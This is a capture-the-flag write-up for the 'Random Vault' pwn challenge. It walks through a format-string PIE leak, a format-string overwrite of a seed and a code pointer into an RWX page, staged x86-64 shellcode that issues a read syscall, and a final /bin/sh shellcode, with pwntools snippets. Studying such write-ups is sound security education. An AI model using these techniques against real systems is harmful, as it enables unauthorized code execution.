Random Vault
303 points
Description:
While analysing data obtained through our cyber operations, our analysts have discovered an old service in HARPA
infrastructure. This service has been used to store the agency’s secrets, but it has been replaced by a more
sophisticated one after a few years. By mistake, this service remained available on Internet until December 2019,
when HARPA agents realized this flaw and took it down. We suspect this service is vulnerable. We need your help to
exploit its vulnerability and extract the secrets that are still kept on the server.
random_vault
Fast Solution
- Use 1st format string to leak pie address
- Use 2nd format string to modify Seed and QWORD_5000 to shellcode place.
- Use shell codes jumps to manage to execute read syscall and write shellcode from the stdin.
Identifying the vulnerability
First thing to do is the check the security settings enabled:
1 | $ checksec random_vault |
Full RELRO is enabled so the global offset table is read only which is a thing we need to take into consideration on this challenge. Also PIE is enabled too this means if we require to get an address of a function or a pointer to a specific address of the program we will need to get a leak to calculate the PIE base.
We can easily find a vulnerability in the username field:
Unfortunately we can only use twice, one when the program starts and one username change:
qword_4020 is set to a very large negative number, which prevents us from at every username change to revert the global back to its original value, well theoretically is possible but we only have 81 characters to do it, because of this it’s not possible to do it with 4 %hn‘s, instead we could do it with two %n‘s but it’s way too many characters to print, this would take hours so this option was discarded by me in the beginning.
Also something interesting happens on the usual function where the setvbuff functions are lying in:
mprotect is changing the protections settings from a region of memory at qword_5000 0x1000 bytes are now RWX this means in this region we can read, write and execute code.
Leaking pie
We have a format string vulnerability right at the start of the program so let’s leak some addresses with:
1 | r.sendlineafter('Username: ','%7$lx|%11$lx') |
An address aligned with the PIE base is located at the 11 position the stack, also an address aligned with the stack addresses is located at the 7th but I didn’t require this one for my current solution.
One thing we could take from the store function:
Store function will store pointers from the stdin on random locations, which are generated based on a seed, we can control this seed by using format string, knowing those locations on that special memory region RWX we can modify qword_5000 pointer to one of them and execute our shellcode.
Here is a function I wrote in python to calculate the offsets with the seed 0:
1 | def indices_with_seed_zero(): |
The output:
1 | $ python random_vault.py |
So the locations that we are going to write are:
1 | Index 0: PIE_BASE+824+0x5010 |
The format string code used to overwrite SEED and qword_5000:1
2
3
4
5
6
7
8
9
10
11
12SEED = PIE+0x5008
QWORD5000 = PIE+0x5000
unk_5010 = PIE+0x5010
LOW_QWORD4020 = unk_5010 & 0xf000 | 0x348
payload = '%29$ln' # Clear SEED
payload += '%{}x%30$hn'.format(LOW_QWORD4020)
s = payload
s += ' '*(40-len(payload))
s += p64(SEED)
s += p64(QWORD5000)
Index 0 and Index 2 are very near to each other! 0x10 byte apart, I used this to my advantage and manage to call a read syscall successfully.
First on index 0 I cleared RDI register and jumped to Index 2:
1 | xor edi, edi ; clears rdi (we want to read from STDIN so we need this to be 0) |
Finally we exchange R11 with RDX(size of bytes we want to read) and R11 with RSI (buffer we want to write), luckily RAX is already 0 which is the number of read sycall on linux at x64 :
1 | xchg r11,rdx ; initial value of $r11 is 0x241 so we want this on rdx register |
The code to this store this shellcode:
1 | r.sendlineafter('4. Quit\n\n','2') |
Finally we can read from the STDIN the shellcode that will get us a shell:
1 | mov rbx, 0xFF978CD091969DD1 |
Sending data from the stdin:
1 | rip = p64(0x050ff38749d38749) # needs to be the code at #rip otherwise we get a segfault |
The full exploit code:
1 | from pwn import * |
Running it:
1 | $ python random_vault.py REMOTE |